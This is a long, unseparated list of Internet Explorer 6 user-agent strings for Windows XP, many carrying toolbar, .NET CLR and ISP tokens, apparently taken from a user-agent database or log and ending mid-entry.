Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; yplus 4.0.00d) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.0.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.0.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.0.1; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.0.1; .NET CLR 1.1.4322; yplus 4.1.00b) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.0.1; FreeprodTB; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.0.1; Maxthon) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.0.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.0.2; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.0.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.0.2; .NET CLR 1.1.4322; yplus 4.3.02d) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.0.2; yplus 4.3.01d) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.0.2; yplus 4.3.02b) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.0.2; yplus 4.3.02d) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.0.3; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 3.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.0.3; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.0.3; .NET CLR 1.1.4322; yplus 4.1.00b) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.0.3; FunWebProducts) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.0.3; InfoPath.1; yplus 4.1.00b) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.1.0; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.1.0; Rogers Hi-Speed Internet; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; (R1 1.5); .NET CLR 1.0.3705; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; (R1 1.5; yplus 5.3.01b); .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 3.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 3.1; yplus 4.1.00b) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; yplus 5.3.00b) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; InfoPath.1; yplus 5.3.02d) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; yplus 5.1.02b) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; yplus 5.1.03b) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; yplus 5.6.02b) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; yplus 5.3.02b) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Seekmo 10.0.341.0; yplus 5.1.04b) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; yplus 5.1.03b) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; .NET CLR 1.1.4322; FDM) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; .NET CLR 1.1.4322; InfoPath.1; yplus 5.1.02b) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; .NET CLR 1.1.4322; InfoPath.1; yplus 5.3.03b) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; .NET CLR 1.1.4322; MSIECrawler) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; .NET CLR 1.1.4322; PeoplePal 6.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; .NET CLR 1.1.4322; yplus 4.1.00b) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; .NET CLR 1.1.4322; yplus 5.1.02b) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; .NET CLR 1.1.4322; yplus 5.1.03b) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; .NET CLR 1.1.4322; yplus 5.3.00b) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; .NET CLR 1.1.4322; yplus 5.3.01b) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; .NET CLR 1.1.4322; yplus 5.3.01d) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; .NET CLR 1.1.4322; yplus 5.3.02b) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; .NET CLR 1.1.4322; yplus 5.5.01b) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; .NET CLR 2.0.50727; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; FunWebProducts) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; FunWebProducts; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; FunWebProducts; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; FunWebProducts; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; FunWebProducts; .NET CLR 1.1.4322; Seekmo 10.0.341.0; yplus 5.6.03b) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; FunWebProducts; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; FunWebProducts; yplus 5.3.02b) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; yplus 5.3.04b) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; InfoPath.1; .NET CLR 2.0.50727; yplus 5.3.02b) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; Media Center PC 3.0; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; Media Center PC 3.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; yplus 4.1.00b) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; yplus 4.1.00b) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; yplus 5.1.02b) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; yplus 5.3.01d) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; yplus 5.3.02b) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; yplus 5.3.02d) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; yplus 5.3.03b) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; yplus 5.4.02b) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; yplus 5.5.03b) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Zango 10.0.370.0; Seekmo 10.0.370.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; chromeframe) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; chromeframe/13.0.782.215) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; chromeframe/13.0.782.41; InfoPath.1; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; chromeframe/14.0.835.186) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; chromeframe/18.0.1025.142) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; chromeframe; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; InfoPath.1; .NET CLR 3.0.04506.30; MAXTHON 2.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; i-NavFourF) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; i-NavFourF; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; i-NavFourF; .NET CLR 1.0.3705; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; i-NavFourF; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; i-NavFourF; .NET CLR 1.0.3705; Alexa Toolbar) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; i-NavFourF; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; i-NavFourF; .NET CLR 1.1.4322; .NET CLR 1.0.3705; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; i-NavFourF; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; i-NavFourF; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; i-NavFourF; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; i-NavFourF; .NET CLR 2.0.50727; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; i-NavFourF; .NET CLR 2.0.50727; Maxthon 2.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; i-NavFourF; MSIECrawler) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; i-NavFourF; Maxthon; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; i-NavFourF; Maxthon; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; iCafeMedia; InfoPath.2; InfoPath.3) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; iCafeMedia; QQDownload 1.7; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; iCafeMedia; QQDownload 627; GTB6.6) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; iCafeMedia; QQPinyinSetup 614; .NET CLR 2.0.50727; Media Center PC 6.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; iOpus-I-M) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; iOpus-I-M; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; iOpus-I-M; .NET CLR 1.1.4322; .NET CLR 1.0.3705; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; iOpus-I-M; .NET CLR 1.1.4322; .NET CLR 1.0.3705; InfoPath.1; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; iOpus-I-M; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; iOpus-I-M; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; iOpus-I-M; .NET CLR 1.1.4322; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; iOpus-I-M; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; iOpus-I-M; .NET CLR 1.1.4322; InfoPath.2; MEGAUPLOAD 1.0; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; iOpus-I-M; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; iOpus-I-M; .NET CLR 2.0.50727; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; iOpus-I-M; Maxthon; .NET CLR 1.1.4322; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; icafe8; QQDownload 1.7; Media Center PC 6.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; icafe8; QQDownload 615; Media Center PC 6.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; icafe8; QQDownload 667; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; Media Center PC 6.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; ie4.com; GTB5; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; iebar) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; iebar; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; iebar; .NET CLR 1.0.3705; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; iebar; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; iebar; .NET CLR 1.1.4322; InfoPath.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; iebar; FunWebProducts; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; image_azv; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; image_azv; .NET CLR 1.1.4322; Alexa Toolbar) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; image_azv; i-NavFourF; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; image_azv; i-NavFourF; .NET CLR 1.1.4322; (R1 1.5)) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; msn OptimizedIE8;ENUS; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; yie8; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; yplus 4.1.00b) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; yplus 5.1.02b) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; yplus 5.1.04b) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; yplus 5.3.02b) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SiteCoach 1.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SiteKiosk 5.5 Build 45; SiteCoach 2.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SiteKiosk 6.0 Build 98) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SpamBlockerUtility 4.7.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; StumbleUpon.com 1.760; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; StumbleUpon.com 1.763; SV1; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; StumbleUpon.com 1.763; SV1; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; StumbleUpon.com 1.906; SV1; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; T312461) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; T312461; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; T312461; Q312461; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; T312461; Q312461; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; T312461; SV1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; T312461; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; T312461; SV1; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; T312461; SV1; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; T312461; YComp 5.0.2.4) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; TMCID=AMT000201; .NET CLR 1.1.4322; SiteKiosk 5.5 Build 45; SiteCoach 2.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; TMCID=SIEMENS-SK55; .NET CLR 1.1.4322; SiteKiosk 5.5 Build 45; SiteCoach 2.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; TencentTraveler 4.0; GTB6.5; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; SV1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Trident/4.0; SV1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Trident/4.0; SV1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 3.0.04506; SLCC1; Tablet PC 2.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Trident/4.0; SV1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Tablet PC 2.0; InfoPath.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Trident/4.0; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; U) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; U; en) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1); .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Sleipnir/2.8.4 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1); .NET CLR 2.0.50727; .NET CLR 1.1.4322) Sleipnir/2.8.4 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Wanadoo 5.4) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Wanadoo 5.4; Wanadoo 5.5) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Wanadoo 5.5) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Wanadoo 5.5; Hotbar 4.1.8.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Wanadoo 5.5; MSIECrawler) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Wanadoo 5.5; SV1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Wanadoo 5.5; SV1; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Wanadoo 5.6) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Wanadoo 5.6; .NET CLR 1.0.3705; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Wanadoo 5.6; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Wanadoo 5.6; FunWebProducts; SV1; Wanadoo 6.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Wanadoo 5.6; SV1; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Wanadoo 5.6; Wanadoo 6.0; SV1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Wanadoo 5.6; Wanadoo 6.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Wanadoo 5.6; Wanadoo 6.1; SV1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Wanadoo 6.0; SV1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Wanadoo 6.0; SV1; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Wanadoo 6.0; SV1; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Wanadoo 6.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Wanadoo 6.1; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Wanadoo 6.1; SV1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Wanadoo 6.1; SV1; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Wanadoo 6.1; SV1; HbTools 4.7.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Wanadoo 6.1; SV1; Wanadoo 5.6) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Wanadoo 6.1; SV1; Wanadoo 6.2; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Wanadoo 6.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Wanadoo 6.2; (R1 1.3); .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Wanadoo 6.2; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Wanadoo 6.2; .NET CLR 1.1.4322; SpamBlockerUtility 4.7.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Wanadoo 6.2; FDM) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Wanadoo 6.2; HbTools 4.7.2) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Wanadoo 6.2; SV1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Wanadoo 6.2; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Wanadoo 6.2; SV1; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Wanadoo 6.2; SV1; FunWebProducts; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Wanadoo 6.2; SV1; MathPlayer 2.0; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Wanadoo 6.2; SV1; i-NavFourF) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Wanadoo 6.6) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Wanadoo 6.7) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Wanadoo 6.7; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Wanadoo 6.7; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Wanadoo 6.7; SV1; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Wanadoo 7.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Windows 98; Windows NT 5.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YComp 5.0.0.0; (R1 1.1)) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YComp 5.0.0.0; (R1 1.3)) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YComp 5.0.0.0; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YComp 5.0.0.0; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YComp 5.0.0.0; Crazy Browser 